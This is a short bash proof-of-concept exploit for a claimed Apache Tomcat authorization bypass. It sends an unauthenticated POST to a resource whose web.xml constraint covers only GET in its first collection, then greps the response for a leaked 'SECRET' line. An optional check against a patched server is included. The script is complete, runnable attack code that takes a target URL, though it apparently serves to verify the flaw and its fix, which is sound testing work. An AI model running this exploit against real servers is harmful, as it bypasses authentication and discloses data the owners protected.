#!/usr/bin/env bash
# CVE-2026-43515 — Apache Tomcat improper authorization (CWE-285) PoC.
#
# A single web.xml <security-constraint> has two <web-resource-collection>
# blocks sharing the *.html extension pattern: the first lists GET (under an
# auth-constraint requiring role admin), the second lists POST. Tomcat's
# RealmBase.findSecurityConstraints() honors only the FIRST matching collection,
# so a POST to the protected *.html resource is treated as unconstrained and
# served WITHOUT authentication.
#
# This script drives an UNAUTHENTICATED POST (no credentials, no admin role) to
# the protected resource and prints whatever body the server returns. It does
# not know or hard-code the secret; it surfaces whatever the bug discloses.
#
# Usage: run.sh <target_base_url> <protected_path> [patched_base_url]
set -u

TARGET="${1:?usage: run.sh <target_base_url> <protected_path> [patched_base_url]}"
PROT="${2:?missing protected_path}"
PATCHED="${3:-}"

URL="${TARGET%/}${PROT}"

echo "=== [CONTROL] Unauthenticated GET to protected resource (first collection, GET, requires auth) ==="
echo "    -> ${URL}"
curl -s -i -X GET "${URL}"
echo
echo

echo "=== [EXPLOIT] Unauthenticated POST to protected resource (bypass method = non-first collection) ==="
echo "    -> ${URL}"
echo "--- raw HTTP response (status + headers + body) ---"
curl -s -i -X POST "${URL}"
echo
echo

echo "=== [EXPLOIT] Disclosed secret recovered from the bypass body (value-agnostic) ==="
# Pull only the body, then surface the SECRET line verbatim from whatever was served.
curl -s -X POST "${URL}" | grep -i "SECRET" || echo "(no SECRET line found in body)"
echo

if [ -n "${PATCHED}" ]; then
  PURL="${PATCHED%/}${PROT}"
  echo "=== [NEGATIVE] Same unauthenticated POST against PATCHED server (must withhold) ==="
  echo "    -> ${PURL}"
  curl -s -i -X POST "${PURL}"
  echo
fi
